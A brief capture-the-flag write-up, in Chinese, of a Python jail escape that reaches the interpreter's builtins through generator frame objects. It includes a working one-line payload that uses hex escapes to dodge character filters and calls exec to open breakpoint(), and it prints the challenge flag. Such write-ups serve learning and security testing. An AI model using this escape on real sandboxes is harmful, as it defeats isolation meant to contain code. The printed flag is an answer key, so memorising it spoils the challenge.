不能用 __ 所以是用 frame 繞,而 , 的部分透過 [a:=...]+[b:=...]+... 的方法去構造。而 ( 只能出現兩次,我第一次用在 generator comprehension 上,然後第二個用在 exec 的 function call 上。

1
2
[a:=(a.gi_frame for _ in [1])]+[b:=[*a][0].f_back.f_back.f_builtins]+[b["exec"]("b['exec']\x28'breakpoint\x28\x29'\x2c{'_""_builtins_""_':b}\x29")]
# TSC{frame_switching_to_the_moooo0o0n!_tuygv2jnsvnjs}